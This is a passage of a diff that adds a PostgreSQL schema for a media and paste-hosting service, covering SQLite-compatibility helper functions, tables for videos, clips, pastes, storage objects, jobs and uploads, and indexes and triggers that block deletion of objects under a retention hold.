+CREATE FUNCTION ov_now() RETURNS text LANGUAGE sql STABLE AS $$ SELECT to_char(statement_timestamp() AT TIME ZONE 'UTC', 'YYYY-MM-DD HH24:MI:SS') $$;
+CREATE FUNCTION ov_now_iso() RETURNS text LANGUAGE sql STABLE AS $$ SELECT to_char(statement_timestamp() AT TIME ZONE 'UTC', 'YYYY-MM-DD"T"HH24:MI:SS.MS"Z"') $$;
+CREATE FUNCTION ov_now_iso(modifier text) RETURNS text LANGUAGE sql STABLE AS $$ SELECT to_char((statement_timestamp() AT TIME ZONE 'UTC') + modifier::interval, 'YYYY-MM-DD"T"HH24:MI:SS.MS"Z"') $$;
+CREATE FUNCTION datetime(t text, modifier text DEFAULT NULL) RETURNS text LANGUAGE plpgsql STABLE AS $$
+DECLARE ts timestamp := ov_ts(t);
+BEGIN
+ IF ts IS NULL THEN RETURN NULL; END IF;
+ IF modifier IS NOT NULL THEN ts := ts + modifier::interval; END IF;
+ RETURN to_char(ts, 'YYYY-MM-DD HH24:MI:SS');
+EXCEPTION WHEN others THEN RETURN NULL;
+END $$;
+CREATE FUNCTION julianday(t text) RETURNS double precision LANGUAGE sql STABLE AS $$ SELECT extract(epoch FROM ov_ts(t))::double precision / 86400.0 + 2440587.5 $$;
+-- SQLite's JSON1 as the code uses it: json_valid(t), and json_extract(t, '$.a.b') as text (CAST it for a number).
+CREATE FUNCTION json_valid(t text) RETURNS boolean LANGUAGE sql IMMUTABLE AS $$ SELECT t IS JSON $$;
+CREATE FUNCTION json_extract(t text, path text) RETURNS text LANGUAGE sql IMMUTABLE AS $$ SELECT jsonb_extract_path_text(t::jsonb, VARIADIC string_to_array(substr(path, 3), '.')) $$;
+CREATE FUNCTION json_type(t text) RETURNS text LANGUAGE sql IMMUTABLE AS $$ SELECT jsonb_typeof(t::jsonb) $$; -- 'object' and 'array' as SQLite; scalars are PostgreSQL's names
+CREATE FUNCTION instr(t text, sub text) RETURNS integer LANGUAGE sql IMMUTABLE AS $$ SELECT strpos(t, sub) $$; -- SQLite's instr
+
+CREATE TABLE apps (
+ app_id text COLLATE "C" PRIMARY KEY,
+ name text COLLATE "C" NOT NULL DEFAULT '',
+ api_key_hash text COLLATE "C" NOT NULL,
+ webhook_url text COLLATE "C",
+ webhook_secret text COLLATE "C",
+ allowed_origins text COLLATE "C" DEFAULT '[]',
+ quota_bytes bigint DEFAULT 0,
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ project_id text COLLATE "C",
+ env text COLLATE "C"
+);
+
+CREATE TABLE vods (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ app_id text COLLATE "C" NOT NULL DEFAULT 'live',
+ stream_id bigint,
+ stream_key text COLLATE "C",
+ managed_stream_id bigint,
+ user_id bigint,
+ title text COLLATE "C",
+ description text COLLATE "C" DEFAULT '',
+ file_path text COLLATE "C",
+ thumbnail_url text COLLATE "C",
+ master_file_path text COLLATE "C",
+ file_size bigint DEFAULT 0,
+ duration_seconds bigint DEFAULT 0,
+ probe_duration_seconds double precision DEFAULT 0,
+ duration_source text COLLATE "C",
+ probe_format_json text COLLATE "C" DEFAULT '',
+ health_status text COLLATE "C" DEFAULT 'unknown',
+ health_score bigint DEFAULT 0,
+ health_issues_json text COLLATE "C" DEFAULT '[]',
+ last_health_scan_at text COLLATE "C",
+ quarantined_at text COLLATE "C",
+ is_public bigint DEFAULT 1,
+ visibility text COLLATE "C" DEFAULT 'public',
+ is_recording bigint DEFAULT 0,
+ clips_only bigint DEFAULT 0,
+ view_count bigint DEFAULT 0,
+ storage_tier text COLLATE "C" DEFAULT 'hot',
+ storage_provider text COLLATE "C" DEFAULT 'local',
+ storage_key text COLLATE "C",
+ last_accessed_at text COLLATE "C",
+ ai_overview text COLLATE "C",
+ ai_transcript text COLLATE "C",
+ ai_analyzed_at text COLLATE "C",
+ meta_json text COLLATE "C" DEFAULT '{}',
+ object_id text COLLATE "C",
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ unique_views bigint DEFAULT 0
+);
+
+CREATE TABLE clips (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ app_id text COLLATE "C" NOT NULL DEFAULT 'live',
+ vod_id bigint,
+ stream_id bigint,
+ user_id bigint,
+ channel_user_id bigint,
+ title text COLLATE "C" DEFAULT 'Untitled Clip',
+ description text COLLATE "C" DEFAULT '',
+ file_path text COLLATE "C",
+ thumbnail_url text COLLATE "C",
+ start_time double precision NOT NULL DEFAULT 0,
+ end_time double precision NOT NULL DEFAULT 0,
+ duration_seconds double precision DEFAULT 0,
+ is_public bigint DEFAULT 1,
+ visibility text COLLATE "C" DEFAULT 'public',
+ status text COLLATE "C" DEFAULT 'ready',
+ view_count bigint DEFAULT 0,
+ auto_generated bigint DEFAULT 0,
+ storage_provider text COLLATE "C" DEFAULT 'local',
+ storage_key text COLLATE "C",
+ ai_overview text COLLATE "C",
+ ai_transcript text COLLATE "C",
+ ai_analyzed_at text COLLATE "C",
+ object_id text COLLATE "C",
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ cut_error text COLLATE "C",
+ cut_attempts bigint DEFAULT 0,
+ cut_next_at text COLLATE "C",
+ unique_views bigint DEFAULT 0
+);
+
+CREATE TABLE content_views (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ content_type text COLLATE "C" NOT NULL CHECK(content_type IN ('vod', 'clip')),
+ content_id bigint NOT NULL,
+ ip text COLLATE "C" NOT NULL,
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ UNIQUE(content_type, content_id, ip)
+);
+
+CREATE TABLE pastes (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ app_id text COLLATE "C" NOT NULL DEFAULT 'live',
+ slug text COLLATE "C" UNIQUE NOT NULL,
+ user_id bigint,
+ type text COLLATE "C" DEFAULT 'paste' CHECK(type IN ('paste', 'screenshot')),
+ title text COLLATE "C" NOT NULL DEFAULT 'Untitled',
+ content text COLLATE "C",
+ language text COLLATE "C" DEFAULT 'text',
+ visibility text COLLATE "C" DEFAULT 'public' CHECK(visibility IN ('public', 'unlisted', 'private')),
+ stream_id bigint,
+ screenshot_path text COLLATE "C",
+ metadata text COLLATE "C",
+ burn_after_read bigint DEFAULT 0,
+ forked_from bigint,
+ pinned bigint DEFAULT 0,
+ views bigint DEFAULT 0,
+ copies bigint DEFAULT 0,
+ likes bigint DEFAULT 0,
+ is_nsfw bigint DEFAULT 0,
+ ip_address text COLLATE "C",
+ ai_summary text COLLATE "C",
+ ai_tags text COLLATE "C",
+ ai_analyzed_at text COLLATE "C",
+ object_id text COLLATE "C",
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ updated_at text COLLATE "C" DEFAULT ov_now(),
+ unique_views bigint DEFAULT 0,
+ FOREIGN KEY (forked_from) REFERENCES pastes(id) ON DELETE SET NULL
+);
+
+CREATE TABLE paste_likes (
+ paste_id bigint NOT NULL,
+ user_id bigint NOT NULL,
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ PRIMARY KEY (paste_id, user_id),
+ FOREIGN KEY (paste_id) REFERENCES pastes(id) ON DELETE CASCADE
+);
+
+CREATE TABLE paste_comments (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ paste_id bigint NOT NULL,
+ user_id bigint,
+ parent_id bigint,
+ anon_name text COLLATE "C",
+ message text COLLATE "C" NOT NULL,
+ ip_address text COLLATE "C",
+ is_deleted bigint DEFAULT 0,
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ updated_at text COLLATE "C" DEFAULT ov_now(),
+ FOREIGN KEY (paste_id) REFERENCES pastes(id) ON DELETE CASCADE,
+ FOREIGN KEY (parent_id) REFERENCES paste_comments(id) ON DELETE CASCADE
+);
+
+CREATE TABLE files (
+ key text COLLATE "C" PRIMARY KEY,
+ app_id text COLLATE "C" NOT NULL DEFAULT 'live',
+ user_id bigint,
+ original_name text COLLATE "C",
+ size bigint NOT NULL DEFAULT 0,
+ mime text COLLATE "C" DEFAULT 'application/octet-stream',
+ sha256 text COLLATE "C",
+ object_id text COLLATE "C",
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ unique_views bigint DEFAULT 0,
+ view_count bigint DEFAULT 0
+);
+
+CREATE TABLE media_settings (
+ key text COLLATE "C" PRIMARY KEY,
+ value text COLLATE "C",
+ description text COLLATE "C" DEFAULT '',
+ type text COLLATE "C" DEFAULT 'string',
+ updated_at text COLLATE "C" DEFAULT ov_now()
+);
+
+CREATE TABLE assets (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ app_id text COLLATE "C" NOT NULL DEFAULT 'live',
+ kind text COLLATE "C" NOT NULL,
+ name text COLLATE "C" NOT NULL,
+ file_path text COLLATE "C" NOT NULL,
+ mime text COLLATE "C" DEFAULT 'application/octet-stream',
+ user_id bigint,
+ username text COLLATE "C" DEFAULT '',
+ channel_username text COLLATE "C" DEFAULT '',
+ duration_seconds double precision DEFAULT 0,
+ meta_json text COLLATE "C" DEFAULT '{}',
+ created_at text COLLATE "C" DEFAULT ov_now()
+);
+
+CREATE TABLE media_objects (
+ id text COLLATE "C" PRIMARY KEY,
+ app_id text COLLATE "C" NOT NULL,
+ namespace text COLLATE "C" NOT NULL,
+ kind text COLLATE "C" NOT NULL CHECK(kind IN ('vod', 'clip', 'file', 'thumbnail', 'screenshot', 'avatar', 'asset')),
+ owner_subject text COLLATE "C",
+ owner_app text COLLATE "C",
+ owner_user_id bigint,
+ visibility text COLLATE "C" NOT NULL DEFAULT 'private' CHECK(visibility IN ('public', 'unlisted', 'private')),
+ lifecycle_status text COLLATE "C" NOT NULL DEFAULT 'uploading' CHECK(lifecycle_status IN ('uploading', 'ready', 'failed', 'archived', 'deleted')),
+ mime_type text COLLATE "C",
+ size_bytes bigint NOT NULL DEFAULT 0,
+ content_hash text COLLATE "C",
+ canonical_provider text COLLATE "C",
+ canonical_key text COLLATE "C",
+ legacy_ref text COLLATE "C" UNIQUE,
+ metadata text COLLATE "C" NOT NULL DEFAULT '{}',
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ updated_at text COLLATE "C" DEFAULT ov_now(),
+ deleted_at text COLLATE "C"
+);
+
+CREATE TABLE media_namespaces (
+ namespace text COLLATE "C" PRIMARY KEY,
+ app_id text COLLATE "C" NOT NULL,
+ parent text COLLATE "C",
+ owner text COLLATE "C" NOT NULL,
+ policy text COLLATE "C" NOT NULL DEFAULT '{}',
+ quota_bytes bigint,
+ quota_objects bigint,
+ used_bytes bigint NOT NULL DEFAULT 0,
+ used_objects bigint NOT NULL DEFAULT 0,
+ reserved_bytes bigint NOT NULL DEFAULT 0,
+ reserved_objects bigint NOT NULL DEFAULT 0,
+ reconciled_at text COLLATE "C",
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ updated_at text COLLATE "C" DEFAULT ov_now()
+);
+
+CREATE TABLE media_quota_reservations (
+ object_id text COLLATE "C" PRIMARY KEY,
+ app_id text COLLATE "C" NOT NULL,
+ namespace text COLLATE "C" NOT NULL,
+ bytes bigint NOT NULL DEFAULT 0,
+ expires_at text COLLATE "C" NOT NULL,
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ updated_at text COLLATE "C" DEFAULT ov_now()
+);
+
+CREATE TABLE media_locations (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ object_id text COLLATE "C" NOT NULL,
+ provider text COLLATE "C" NOT NULL CHECK(provider IN ('local', 'b2', 'r2')),
+ bucket text COLLATE "C",
+ key text COLLATE "C" NOT NULL,
+ storage_class text COLLATE "C",
+ state text COLLATE "C" NOT NULL DEFAULT 'pending' CHECK(state IN ('present', 'missing', 'pending', 'corrupt')),
+ checksum text COLLATE "C",
+ size_bytes bigint,
+ verified_at text COLLATE "C",
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ updated_at text COLLATE "C" DEFAULT ov_now(),
+ UNIQUE(object_id, provider)
+);
+
+CREATE TABLE media_relationships (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ from_object_id text COLLATE "C" NOT NULL,
+ relation text COLLATE "C" NOT NULL,
+ to_object_id text COLLATE "C" NOT NULL,
+ metadata text COLLATE "C" NOT NULL DEFAULT '{}',
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ UNIQUE(from_object_id, relation, to_object_id)
+);
+
+CREATE TABLE media_variants (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ object_id text COLLATE "C" NOT NULL,
+ variant_name text COLLATE "C" NOT NULL,
+ derived_object_id text COLLATE "C" NOT NULL,
+ recipe text COLLATE "C",
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ UNIQUE(object_id, variant_name)
+);
+
+CREATE TABLE media_jobs (
+ id text COLLATE "C" PRIMARY KEY,
+ app_id text COLLATE "C" NOT NULL,
+ object_id text COLLATE "C",
+ job_type text COLLATE "C" NOT NULL,
+ status text COLLATE "C" NOT NULL DEFAULT 'queued' CHECK(status IN ('proposed', 'queued', 'running', 'succeeded', 'failed', 'cancelled')),
+ idempotency_key text COLLATE "C",
+ request_hash text COLLATE "C",
+ params text COLLATE "C" NOT NULL DEFAULT '{}',
+ result text COLLATE "C",
+ attempts bigint NOT NULL DEFAULT 0,
+ max_attempts bigint NOT NULL DEFAULT 3,
+ run_after text COLLATE "C",
+ lease_until text COLLATE "C",
+ lease_token text COLLATE "C",
+ checkpoint text COLLATE "C",
+ error text COLLATE "C",
+ error_code text COLLATE "C",
+ cancel_requested bigint NOT NULL DEFAULT 0,
+ created_by text COLLATE "C",
+ owner_user_id bigint,
+ decided_by text COLLATE "C",
+ decided_at text COLLATE "C",
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ updated_at text COLLATE "C" DEFAULT ov_now(),
+ started_at text COLLATE "C",
+ finished_at text COLLATE "C"
+);
+
+CREATE TABLE media_uploads (
+ id text COLLATE "C" PRIMARY KEY,
+ object_id text COLLATE "C" NOT NULL,
+ app_id text COLLATE "C" NOT NULL,
+ part_size bigint NOT NULL,
+ total_size bigint NOT NULL,
+ parts_expected bigint NOT NULL,
+ status text COLLATE "C" NOT NULL DEFAULT 'active' CHECK(status IN ('active', 'completing', 'completed', 'aborted', 'expired')),
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ updated_at text COLLATE "C" DEFAULT ov_now(),
+ expires_at text COLLATE "C" NOT NULL,
+ completed_at text COLLATE "C"
+);
+
+CREATE TABLE media_upload_parts (
+ upload_id text COLLATE "C" NOT NULL,
+ part_number bigint NOT NULL,
+ size_bytes bigint NOT NULL,
+ sha256 text COLLATE "C" NOT NULL,
+ received_at text COLLATE "C" DEFAULT ov_now(),
+ PRIMARY KEY (upload_id, part_number)
+);
+
+CREATE TABLE media_holds (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ object_id text COLLATE "C" NOT NULL,
+ kind text COLLATE "C" NOT NULL CHECK(kind IN ('moderation', 'dmca', 'creator_pin', 'admin', 'evidence')),
+ reason text COLLATE "C" NOT NULL DEFAULT '',
+ created_by text COLLATE "C",
+ created_at text COLLATE "C" DEFAULT ov_now(),
+ released_at text COLLATE "C",
+ released_by text COLLATE "C",
+ note text COLLATE "C"
+);
+
+CREATE TABLE media_invariant_violations (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ object_id text COLLATE "C" NOT NULL UNIQUE,
+ level text COLLATE "C" NOT NULL CHECK(level IN ('warn', 'violation')),
+ size_bytes bigint NOT NULL,
+ threshold_bytes bigint NOT NULL,
+ detected_at text COLLATE "C" DEFAULT ov_now(),
+ last_seen_at text COLLATE "C" DEFAULT ov_now(),
+ resolved_at text COLLATE "C"
+);
+
+CREATE TABLE media_tier_decisions (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ decided_at text COLLATE "C" NOT NULL DEFAULT ov_now_iso(),
+ vod_id bigint NOT NULL,
+ app_id text COLLATE "C",
+ object_id text COLLATE "C",
+ action text COLLATE "C" NOT NULL CHECK(action IN ('promote', 'demote')),
+ from_provider text COLLATE "C",
+ to_provider text COLLATE "C",
+ outcome text COLLATE "C" NOT NULL CHECK(outcome IN ('done', 'already', 'refused', 'failed')),
+ trigger text COLLATE "C" NOT NULL,
+ reason text COLLATE "C" NOT NULL,
+ inputs text COLLATE "C" NOT NULL DEFAULT '{}',
+ thresholds text COLLATE "C" NOT NULL DEFAULT '{}',
+ error text COLLATE "C"
+);
+
+CREATE TABLE media_object_view_salts (
+ day text COLLATE "C" PRIMARY KEY,
+ salt text COLLATE "C" NOT NULL,
+ created_at text COLLATE "C" DEFAULT ov_now()
+);
+
+CREATE TABLE media_object_viewer_days (
+ day text COLLATE "C" NOT NULL,
+ object_id text COLLATE "C" NOT NULL,
+ viewer text COLLATE "C" NOT NULL,
+ PRIMARY KEY (day, object_id, viewer)
+);
+
+CREATE TABLE media_object_views_daily (
+ object_id text COLLATE "C" NOT NULL,
+ day text COLLATE "C" NOT NULL,
+ unique_viewers bigint NOT NULL DEFAULT 0,
+ last_viewed_at text COLLATE "C",
+ PRIMARY KEY (object_id, day)
+);
+
+CREATE TABLE media_object_tier_decisions (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ decided_at text COLLATE "C" NOT NULL DEFAULT ov_now_iso(),
+ object_id text COLLATE "C" NOT NULL,
+ app_id text COLLATE "C",
+ action text COLLATE "C" NOT NULL CHECK(action IN ('promote', 'demote')),
+ from_provider text COLLATE "C",
+ to_provider text COLLATE "C",
+ outcome text COLLATE "C" NOT NULL CHECK(outcome IN ('done', 'already', 'refused', 'failed', 'dry_run')),
+ trigger text COLLATE "C" NOT NULL,
+ reason text COLLATE "C" NOT NULL,
+ inputs text COLLATE "C" NOT NULL DEFAULT '{}',
+ thresholds text COLLATE "C" NOT NULL DEFAULT '{}',
+ error text COLLATE "C"
+);
+
+CREATE TABLE media_object_changes (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ object_id text COLLATE "C" NOT NULL,
+ change text COLLATE "C" NOT NULL CHECK(change IN ('deleted', 'visibility_changed')),
+ previous_visibility text COLLATE "C",
+ visibility text COLLATE "C",
+ changed_at text COLLATE "C" NOT NULL DEFAULT ov_now_iso()
+);
+
+CREATE TABLE media_verifications (
+ object_id text COLLATE "C" PRIMARY KEY,
+ verified_at text COLLATE "C" NOT NULL,
+ status text COLLATE "C" NOT NULL CHECK(status IN ('good', 'no_good_copy', 'unverifiable')),
+ good_providers text COLLATE "C",
+ detail text COLLATE "C" NOT NULL DEFAULT '{}',
+ run_id bigint
+);
+
+CREATE TABLE media_verify_runs (
+ id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+ started_at text COLLATE "C" NOT NULL,
+ finished_at text COLLATE "C",
+ objects_checked bigint NOT NULL DEFAULT 0,
+ locations_checked bigint NOT NULL DEFAULT 0,
+ good bigint NOT NULL DEFAULT 0,
+ no_good_copy bigint NOT NULL DEFAULT 0,
+ unverifiable bigint NOT NULL DEFAULT 0,
+ reuploaded bigint NOT NULL DEFAULT 0,
+ reupload_failed bigint NOT NULL DEFAULT 0,
+ no_good_copy_total bigint,
+ error text COLLATE "C"
+);
+
+CREATE TABLE account_data_events (
+ id text COLLATE "C" PRIMARY KEY,
+ kind text COLLATE "C" NOT NULL,
+ subject text COLLATE "C" NOT NULL,
+ outcome text COLLATE "C",
+ sent_at text COLLATE "C",
+ applied_at text COLLATE "C" NOT NULL DEFAULT ov_now_iso()
+);
+
+CREATE TABLE subject_merges (
+ merge_id text COLLATE "C" PRIMARY KEY,
+ from_subject text COLLATE "C" NOT NULL,
+ into_subject text COLLATE "C" NOT NULL,
+ objects bigint NOT NULL DEFAULT 0,
+ applied_at text COLLATE "C" NOT NULL DEFAULT ov_now_iso()
+);
+
+CREATE TABLE content_visits (
+ content_type text COLLATE "C" NOT NULL,
+ content_id bigint NOT NULL,
+ visitor text COLLATE "C" NOT NULL,
+ first_at text COLLATE "C" DEFAULT ov_now(),
+ last_at text COLLATE "C" DEFAULT ov_now(),
+ visits bigint DEFAULT 1,
+ PRIMARY KEY (content_type, content_id, visitor)
+);
+
+CREATE TABLE search_doc_pushes (
+ kind text COLLATE "C" NOT NULL,
+ media_id bigint NOT NULL,
+ hash text COLLATE "C" NOT NULL,
+ revision bigint NOT NULL,
+ deleted bigint NOT NULL DEFAULT 0,
+ pushed_at text COLLATE "C" DEFAULT ov_now(),
+ PRIMARY KEY (kind, media_id)
+);
+
+CREATE INDEX idx_vods_app ON vods(app_id, created_at DESC);
+CREATE INDEX idx_vods_recording ON vods(is_recording);
+CREATE INDEX idx_vods_provider ON vods(storage_provider);
+CREATE INDEX idx_clips_app ON clips(app_id, created_at DESC);
+CREATE INDEX idx_clips_vod ON clips(vod_id);
+CREATE INDEX idx_clips_stream ON clips(stream_id);
+CREATE INDEX idx_content_views_lookup ON content_views(content_type, content_id);
+CREATE INDEX idx_pastes_slug ON pastes(slug);
+CREATE INDEX idx_pastes_app ON pastes(app_id, created_at DESC);
+CREATE INDEX idx_pastes_user ON pastes(user_id);
+CREATE INDEX idx_pastes_visibility ON pastes(visibility);
+CREATE INDEX idx_paste_comments_paste ON paste_comments(paste_id);
+CREATE INDEX idx_paste_comments_ip ON paste_comments(ip_address);
+CREATE INDEX idx_files_app ON files(app_id, created_at DESC);
+CREATE INDEX idx_assets_app_kind ON assets(app_id, kind, created_at DESC);
+CREATE UNIQUE INDEX idx_assets_identity ON assets(app_id, kind, name, channel_username);
+CREATE INDEX idx_media_objects_app ON media_objects(app_id, id);
+CREATE INDEX idx_media_objects_kind ON media_objects(app_id, kind);
+CREATE INDEX idx_media_objects_owner ON media_objects(owner_subject);
+CREATE INDEX idx_media_objects_lifecycle ON media_objects(lifecycle_status);
+CREATE INDEX idx_media_objects_namespace ON media_objects(app_id, namespace, lifecycle_status);
+CREATE INDEX idx_media_namespaces_app ON media_namespaces(app_id, namespace);
+CREATE INDEX idx_media_quota_reservations_ns ON media_quota_reservations(app_id, namespace);
+CREATE INDEX idx_media_quota_reservations_expiry ON media_quota_reservations(expires_at);
+CREATE INDEX idx_media_relationships_to ON media_relationships(to_object_id, relation);
+CREATE INDEX idx_media_jobs_status ON media_jobs(status, job_type);
+CREATE INDEX idx_media_uploads_object ON media_uploads(object_id, status);
+CREATE INDEX idx_media_uploads_expiry ON media_uploads(status, expires_at);
+CREATE INDEX idx_media_holds_object ON media_holds(object_id, released_at);
+CREATE INDEX idx_media_tier_decisions_vod ON media_tier_decisions(vod_id, id);
+CREATE INDEX idx_media_tier_decisions_app ON media_tier_decisions(app_id, id);
+CREATE INDEX idx_media_object_views_daily_day ON media_object_views_daily(day, object_id);
+CREATE INDEX idx_media_object_tier_decisions_object ON media_object_tier_decisions(object_id, id);
+CREATE INDEX idx_media_object_tier_decisions_app ON media_object_tier_decisions(app_id, id);
+CREATE INDEX idx_media_verifications_at ON media_verifications(verified_at);
+CREATE INDEX idx_media_verifications_status ON media_verifications(status);
+CREATE INDEX idx_media_jobs_app ON media_jobs(app_id, id);
+CREATE INDEX idx_media_jobs_object ON media_jobs(object_id, job_type, status);
+CREATE UNIQUE INDEX idx_media_jobs_idem ON media_jobs(app_id, idempotency_key) WHERE idempotency_key IS NOT NULL;
+CREATE INDEX idx_clips_object ON clips(object_id);
+CREATE INDEX idx_content_visits_item ON content_visits(content_type, content_id);
+CREATE INDEX idx_content_visits_last ON content_visits(last_at);
+
+CREATE FUNCTION trg_vods_hold_guard_v2() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF (OLD.object_id IS NOT NULL AND EXISTS (SELECT 1 FROM media_holds h WHERE h.released_at IS NULL AND (h.object_id = OLD.object_id OR h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = OLD.object_id AND r.relation = 'clip_of') OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = OLD.object_id)))) THEN RAISE EXCEPTION 'media object is under a retention hold'; END IF; RETURN OLD; END $$;
+CREATE TRIGGER trg_vods_hold_guard_v2 BEFORE DELETE ON vods FOR EACH ROW EXECUTE FUNCTION trg_vods_hold_guard_v2();
+
+CREATE FUNCTION trg_vods_object_deleted() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF OLD.object_id IS NOT NULL THEN UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = COALESCE(deleted_at, ov_now()), updated_at = ov_now() WHERE id = OLD.object_id AND lifecycle_status != 'deleted'; END IF; RETURN NULL; END $$;
+CREATE TRIGGER trg_vods_object_deleted AFTER DELETE ON vods FOR EACH ROW EXECUTE FUNCTION trg_vods_object_deleted();
+
+CREATE FUNCTION trg_clips_hold_guard_v2() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF (OLD.object_id IS NOT NULL AND EXISTS (SELECT 1 FROM media_holds h WHERE h.released_at IS NULL AND (h.object_id = OLD.object_id OR h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = OLD.object_id AND r.relation = 'clip_of') OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = OLD.object_id)))) OR (OLD.vod_id IS NOT NULL AND EXISTS (SELECT 1 FROM media_holds h JOIN vods v ON v.object_id = h.object_id WHERE v.id = OLD.vod_id AND h.released_at IS NULL)) THEN RAISE EXCEPTION 'media object is under a retention hold'; END IF; RETURN OLD; END $$;
+CREATE TRIGGER trg_clips_hold_guard_v2 BEFORE DELETE ON clips FOR EACH ROW EXECUTE FUNCTION trg_clips_hold_guard_v2();
+
+CREATE FUNCTION trg_clips_object_deleted() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF OLD.object_id IS NOT NULL THEN UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = COALESCE(deleted_at, ov_now()), updated_at = ov_now() WHERE id = OLD.object_id AND lifecycle_status != 'deleted'; END IF; RETURN NULL; END $$;
+CREATE TRIGGER trg_clips_object_deleted AFTER DELETE ON clips FOR EACH ROW EXECUTE FUNCTION trg_clips_object_deleted();
+
+CREATE FUNCTION trg_files_hold_guard_v2() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF (OLD.object_id IS NOT NULL AND EXISTS (SELECT 1 FROM media_holds h WHERE h.released_at IS NULL AND (h.object_id = OLD.object_id OR h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = OLD.object_id AND r.relation = 'clip_of') OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = OLD.object_id)))) THEN RAISE EXCEPTION 'media object is under a retention hold'; END IF; RETURN OLD; END $$;
+CREATE TRIGGER trg_files_hold_guard_v2 BEFORE DELETE ON files FOR EACH ROW EXECUTE FUNCTION trg_files_hold_guard_v2();
+
+CREATE FUNCTION trg_files_object_deleted() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF OLD.object_id IS NOT NULL THEN UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = COALESCE(deleted_at, ov_now()), updated_at = ov_now() WHERE id = OLD.object_id AND lifecycle_status != 'deleted'; END IF; RETURN NULL; END $$;
+CREATE TRIGGER trg_files_object_deleted AFTER DELETE ON files FOR EACH ROW EXECUTE FUNCTION trg_files_object_deleted();
+
+CREATE FUNCTION trg_pastes_hold_guard_v2() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF (OLD.object_id IS NOT NULL AND EXISTS (SELECT 1 FROM media_holds h WHERE h.released_at IS NULL AND (h.object_id = OLD.object_id OR h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = OLD.object_id AND r.relation = 'clip_of') OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = OLD.object_id)))) THEN RAISE EXCEPTION 'media object is under a retention hold'; END IF; RETURN OLD; END $$;
+CREATE TRIGGER trg_pastes_hold_guard_v2 BEFORE DELETE ON pastes FOR EACH ROW EXECUTE FUNCTION trg_pastes_hold_guard_v2();
+
+CREATE FUNCTION trg_pastes_object_deleted() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF OLD.object_id IS NOT NULL THEN UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = COALESCE(deleted_at, ov_now()), updated_at = ov_now() WHERE id = OLD.object_id AND lifecycle_status != 'deleted'; END IF; RETURN NULL; END $$;
+CREATE TRIGGER trg_pastes_object_deleted AFTER DELETE ON pastes FOR EACH ROW EXECUTE FUNCTION trg_pastes_object_deleted();
+
+CREATE FUNCTION trg_media_objects_hold_guard_v2() RETURNS trigger LANGUAGE plpgsql AS $$ BEGIN IF NEW.lifecycle_status = 'deleted' AND OLD.lifecycle_status != 'deleted' AND EXISTS (SELECT 1 FROM media_holds h WHERE h.released_at IS NULL AND (h.object_id = OLD.id OR h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = OLD.id AND r.relation = 'clip_of') OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = OLD.id))) THEN RAISE EXCEPTION 'media object is under a retention hold'; END IF; RETURN NEW; END $$;
+CREATE TRIGGER trg_media_objects_hold_guard_v2 BEFORE UPDATE OF lifecycle_status ON media_objects FOR EACH ROW EXECUTE FUNCTION trg_media_objects_hold_guard_v2();
+
